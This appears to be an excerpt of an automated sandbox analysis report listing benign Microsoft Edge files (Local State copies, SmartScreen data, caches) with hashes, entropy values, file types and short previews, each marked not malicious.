Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c2b5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802921735369
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMEkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yneXkzItSmd6qE7lFoC
MD5:	E65DF04FD76AD33E72E562FA12B767E4
SHA1:	DC10B1C6CCB200B770D947B82B97A15142EFD730
SHA-256:	19F50065ACADAF6E53A9510AB4D199757F6FB88DBE927CF774B4013231FA0CD0
SHA-512:	6211DBFA5BA669BEC055637BD183C7D0DAE49BF6783A2F78F8BA4EAC42BEE727B10F11996ADAF9EABD0D80CF9937B334A4271802BBD562DC0F520F4F444DA8C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e977.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802921735369
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMEkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yneXkzItSmd6qE7lFoC
MD5:	E65DF04FD76AD33E72E562FA12B767E4
SHA1:	DC10B1C6CCB200B770D947B82B97A15142EFD730
SHA-256:	19F50065ACADAF6E53A9510AB4D199757F6FB88DBE927CF774B4013231FA0CD0
SHA-512:	6211DBFA5BA669BEC055637BD183C7D0DAE49BF6783A2F78F8BA4EAC42BEE727B10F11996ADAF9EABD0D80CF9937B334A4271802BBD562DC0F520F4F444DA8C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF421ad.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802921735369
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMEkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yneXkzItSmd6qE7lFoC
MD5:	E65DF04FD76AD33E72E562FA12B767E4
SHA1:	DC10B1C6CCB200B770D947B82B97A15142EFD730
SHA-256:	19F50065ACADAF6E53A9510AB4D199757F6FB88DBE927CF774B4013231FA0CD0
SHA-512:	6211DBFA5BA669BEC055637BD183C7D0DAE49BF6783A2F78F8BA4EAC42BEE727B10F11996ADAF9EABD0D80CF9937B334A4271802BBD562DC0F520F4F444DA8C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4d379.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802921735369
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMEkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yneXkzItSmd6qE7lFoC
MD5:	E65DF04FD76AD33E72E562FA12B767E4
SHA1:	DC10B1C6CCB200B770D947B82B97A15142EFD730
SHA-256:	19F50065ACADAF6E53A9510AB4D199757F6FB88DBE927CF774B4013231FA0CD0
SHA-512:	6211DBFA5BA669BEC055637BD183C7D0DAE49BF6783A2F78F8BA4EAC42BEE727B10F11996ADAF9EABD0D80CF9937B334A4271802BBD562DC0F520F4F444DA8C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF52f16.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802921735369
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMEkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yneXkzItSmd6qE7lFoC
MD5:	E65DF04FD76AD33E72E562FA12B767E4
SHA1:	DC10B1C6CCB200B770D947B82B97A15142EFD730
SHA-256:	19F50065ACADAF6E53A9510AB4D199757F6FB88DBE927CF774B4013231FA0CD0
SHA-512:	6211DBFA5BA669BEC055637BD183C7D0DAE49BF6783A2F78F8BA4EAC42BEE727B10F11996ADAF9EABD0D80CF9937B334A4271802BBD562DC0F520F4F444DA8C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.011620496563658
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUs15dB4Y:YWLSGTt1o9LuLgfGBPAzkVj/T8lUs15N
MD5:	42DFC986C346F24F75FB05585AE8505C
SHA1:	189DF6E886F50485C734C7345C33E961199E1837
SHA-256:	5909BE0D35456383AC76245299ABE99EAD7EFFA56DE4568DDA856F4F8F3D6104
SHA-512:	CCF7E938A2CFE5CD1E51DE7C11B930CC43501DC8D5012DD8581D88B05F697531DAD56445B8D40C352DE58526E3C4922F6B11C4C24FE99DE205B067B0AFAFE766
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731986865092991}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

